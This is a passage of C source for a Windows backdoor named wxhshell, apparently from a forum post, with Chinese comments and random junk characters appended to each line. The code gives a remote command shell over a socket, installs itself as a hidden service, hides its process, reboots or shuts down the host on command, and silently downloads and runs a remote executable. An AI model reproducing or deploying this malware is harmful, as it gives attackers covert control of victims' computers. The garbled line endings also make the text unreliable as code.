  } 58%#DX34M  
  else { w;k):; $  
>Y_*%QGH_  
    switch(cmd[0]) { Jd5:{{ Lb  
  A,\6nO67  
  // 帮助 k$H%.l;E  
  case '?': { )Psb>'X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %^I88,$&L  
    break; ]l'Y'z,}  
  } cgl*t+o&  
  // 安装 6&bY}i^K  
  case 'i': { /%0<p,T  
    if(Install()) qHNE8\9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6)vSG7Ise  
    else S}$r>[t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X@k`3X  
    break; d+X}cq=  
    } Kw8u`$Ad7  
  // 卸载 mN!lo;m5  
  case 'r': { @O@GRq&V  
    if(Uninstall()) z"+Mrew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]wKzE4Z/  
    else "I=\[l8t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t5'V6nv  
    break; AtF3%Z v2  
    } pGf@z:^{*-  
  // 显示 wxhshell 所在路径 1Ab>4UhD  
  case 'p': { ^ <Pq,u%k  
    char svExeFile[MAX_PATH]; YnxRg  
    strcpy(svExeFile,"\n\r"); cx}Q2S  
      strcat(svExeFile,ExeFile); $/=nU*pd  
        send(wsh,svExeFile,strlen(svExeFile),0); 4m*M,#mV  
    break; GN!qyT  
    } F)+{AQL  
  // 重启 ?t+5s]  
  case 'b': { %]I ZLJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &^}6 9  
    if(Boot(REBOOT)) 6B@CurgB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YO}1(m  
    else { wjh=Q  
    closesocket(wsh); _)]+hUw Y  
    ExitThread(0); SB5&A_tr  
    } td4[[ /  
    break; abJ" [  
    } Y`o+XimX  
  // 关机 Qb)C[5a}  
  case 'd': { HsnLm67'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]d a^xWK  
    if(Boot(SHUTDOWN)) INkD=tX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Y:8eD"*  
    else { zN{K5<7o  
    closesocket(wsh); \0mb 3Q'  
    ExitThread(0); c>/. ;p  
    } [@Q_(LQ-U  
    break; HcedE3Rg  
    } Kx=4~  
  // 获取shell u1z  
  case 's': { -K rxMi  
    CmdShell(wsh); iJZ/jCI  
    closesocket(wsh); :^Fh!br==  
    ExitThread(0); $Bj;D=d@V  
    break; ^2$ lJ  
  }  qNm$Fx  
  // 退出 -jn WZ5.  
  case 'x': { x5QaM.+=J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '0\@McU]  
    CloseIt(wsh); Pt&(npjN,  
    break; 4'6`Ll|iq  
    } o99pHW(E  
  // 离开 WBNw~|DO]  
  case 'q': { >0dv+8Mn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M/q E2L[y  
    closesocket(wsh); ^{xeij/  
    WSACleanup(); Zum0J{l h  
    exit(1); c-g)eV|)S  
    break; @FC"nM  
        } ' j6gG  
  } 9elga"4:'  
  } t9Y=m6  
P%#*-zCCx  
  // 提示信息 Vpr/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z81esXl  
} fx@j?*Qb  
  } p_UlK8rb  
@&]#uRl|[  
  return; <L{(Mj%Z  
} 8ZCoc5  
[tg^GOf '  
// shell模块句柄 *dvDap|8W  
int CmdShell(SOCKET sock) 8a_[B~  
{ v3GwD0 0  
STARTUPINFO si; { .*y  
ZeroMemory(&si,sizeof(si)); uP<0WCN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WHAQu]{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gqR)IVk>%  
PROCESS_INFORMATION ProcessInfo; >@ YtDl8R  
char cmdline[]="cmd"; 0<8XI>.3D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UjOB98Du  
  return 0; }?&k a$rI  
}  Y!WG)u5  
,R$u?c0>'&  
// 自身启动模式 <H0R&l\  
int StartFromService(void) `'\t$nU  
{ =1P6Vk  
typedef struct hXb%;GL  
{ Qfky_5R\  
  DWORD ExitStatus; 4J?t_)  
  DWORD PebBaseAddress; Y3h/~bM%  
  DWORD AffinityMask; ]c&<zeX,  
  DWORD BasePriority; 4GR!y)  
  ULONG UniqueProcessId; ,jC3Fcly  
  ULONG InheritedFromUniqueProcessId; rJa$9B*^  
}   PROCESS_BASIC_INFORMATION; "+zCS|   
4Q IE8f Y  
PROCNTQSIP NtQueryInformationProcess; 557(EM  
wHIj<"2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;SwMu@tg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -QyhwG =  
CiR%Ujf  
  HANDLE             hProcess; U`o^mtW.  
  PROCESS_BASIC_INFORMATION pbi; ]`bQW?  
MWNPPYww  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 11|Rdd+}  
  if(NULL == hInst ) return 0; h(qQsxIOhS  
pDQ}*   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %L [&,a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pA;-v MpMj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  e(NLX`  
/t6X(*xoy  
  if (!NtQueryInformationProcess) return 0; /XudV2P-CA  
y7S4d~&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w nTV|^Q  
  if(!hProcess) return 0; lNv".Y=l  
$7QoMV8V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zE)~0v4  
H'MJ{r0,  
  CloseHandle(hProcess); MG /,==  
`xiCm':  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \m=?xb8 f  
if(hProcess==NULL) return 0; Z_gC&7+  
( Y+N@d  
HMODULE hMod; 8?*RIA.a  
char procName[255]; R.LL#u};  
unsigned long cbNeeded; m%"uPv\  
341?0 %=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0wFH!s/B  
2Bk$ lx7  
  CloseHandle(hProcess); ;Nr]X  
AH4EtZC=W  
if(strstr(procName,"services")) return 1; // 以服务启动 -`f04_@>d  
_U{([M>;  
  return 0; // 注册表启动 w#N?l!5  
} -o+74=E8[?  
=pA IvU  
// 主模块 ^E6d`2w-  
int StartWxhshell(LPSTR lpCmdLine) 'a^{=+  
{  KluA  
  SOCKET wsl; /H:I 68~  
BOOL val=TRUE; KOg?FmD  
  int port=0; 83cW=?UgA  
  struct sockaddr_in door; .D4bqL  
>xA),^ YT  
  if(wscfg.ws_autoins) Install(); 8F)G7 H ,  
577:u<Yt  
port=atoi(lpCmdLine); NZN-^ >  
^v9|%^ug  
if(port<=0) port=wscfg.ws_port; YpUp@/"  
$T<}y_nHl  
  WSADATA data; 5efxEt>U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g(O;{Q_  
;WT{|z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Q;#sJ?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +>7$4`Nb2  
  door.sin_family = AF_INET; Y${l!+q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O[9-:,B{w  
  door.sin_port = htons(port); }j1!j&&  
5]1leT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ecOy6@UDY  
closesocket(wsl); d7cg&9+  
return 1; .+y>8h3{  
} Wk^RA_  
mL~z~w*s  
  if(listen(wsl,2) == INVALID_SOCKET) { M}0eu(_|  
closesocket(wsl); M,3wmW&d6  
return 1; FFEfp.T1M  
} p.fF}B  
  Wxhshell(wsl); ED$DSz)x  
  WSACleanup(); BIf^~jAER%  
~#}Dx :HH  
return 0; <DH*~tLp2  
i`)!X:j  
} xjdw'v+qZo  
G6K  <  
// 以NT服务方式启动 [oc~iDx%W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <B /5J:o<  
{ # x>ga  
DWORD   status = 0; Rq~t4sA:  
  DWORD   specificError = 0xfffffff; gM>=%/.  
4z:#I;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `ya;:$(6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6@tvRDeaDW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]WJfgN4  
  serviceStatus.dwWin32ExitCode     = 0; -{|`H[nmD  
  serviceStatus.dwServiceSpecificExitCode = 0; TO;.eN!sv  
  serviceStatus.dwCheckPoint       = 0; g^kx(p<u`  
  serviceStatus.dwWaitHint       = 0; !C:rb   
:f'&z47  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '#O_}|ZN  
  if (hServiceStatusHandle==0) return; kE;O7sN   
"`A:(<x  
status = GetLastError(); !c<wS Q,  
  if (status!=NO_ERROR) =He. fEy  
{ pz_e=xr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LT+3q%W.UC  
    serviceStatus.dwCheckPoint       = 0; 'ul\Q `N3  
    serviceStatus.dwWaitHint       = 0; YEYY}/YX  
    serviceStatus.dwWin32ExitCode     = status; Qq0l* )mX  
    serviceStatus.dwServiceSpecificExitCode = specificError; b'x$2K;E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *i$ePVU  
    return; Snf"z8sw  
  } AB.(CS=i  
.g\6g~n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TTI81:fku  
  serviceStatus.dwCheckPoint       = 0; =OTm2:j#yQ  
  serviceStatus.dwWaitHint       = 0; 77gysd\(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xPmN},i'R$  
} BOf1J1  
F.q|x|9j  
// 处理NT服务事件,比如:启动、停止 t~K%.|'0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #~?kYCtC)  
{  eIPG#A  
switch(fdwControl) :ipoD%@  
{ m4ApHM2  
case SERVICE_CONTROL_STOP: NB8&   
  serviceStatus.dwWin32ExitCode = 0; ul5|.C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !)NidG  
  serviceStatus.dwCheckPoint   = 0; ]Ql 0v"` F  
  serviceStatus.dwWaitHint     = 0; OCyG_DLT$5  
  { H5wb_yBQ+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J/D|4fC  
  } ),@f6](  
  return; /k:$l9C[  
case SERVICE_CONTROL_PAUSE: c"gsB!xh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 00vBpsZj2;  
  break; b_$ 1f >  
case SERVICE_CONTROL_CONTINUE: qFR dg V>8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 96|[}:+$&:  
  break; >cOei K  
case SERVICE_CONTROL_INTERROGATE: 2%rLoL$Y2+  
  break; j033%p+Xc  
}; p{;i& HNdp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);   &LQ%  
} >kYp%r6  
&m{'nRU}c  
// 标准应用程序主函数 8KjRCm,I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )3?rXsSR  
{ utO.WfWP  
X} JOX9pK  
// 获取操作系统版本 "HQF.#\#  
OsIsNt=GetOsVer(); Yx?aC!5M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CyM}Hc&w  
Ya4?{2h@+  
  // 从命令行安装 M^SuV  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2M6dMvS  
~I_owCVZ  
  // 下载执行文件 8<PKKDgbfd  
if(wscfg.ws_downexe) { E[Bo4?s&^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k&s; {|!  
  WinExec(wscfg.ws_filenam,SW_HIDE); XQ;I,\m  
} ~a+NJ6e1  
<O857 j  
if(!OsIsNt) { `6w#8}  
// 如果时win9x,隐藏进程并且设置为注册表启动 k khE}qSD  
HideProc(); :\}U9QfCw  
StartWxhshell(lpCmdLine); z-u?s`k**  
} !s IwFv )  
else sB7" 0M  
  if(StartFromService()) rFd@mO  
  // 以服务方式启动 x*8O*!ZZ  
  StartServiceCtrlDispatcher(DispatchTable); f~\Xg7<  
else 6M><(1fT  
  // 普通方式启动 $-G`&oT  
  StartWxhshell(lpCmdLine); Lar r}o=  
^Vo"fI`=C  
return 0; 12gw#J/)9h  
}
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只看该作者 1 发表于: 2006-10-10
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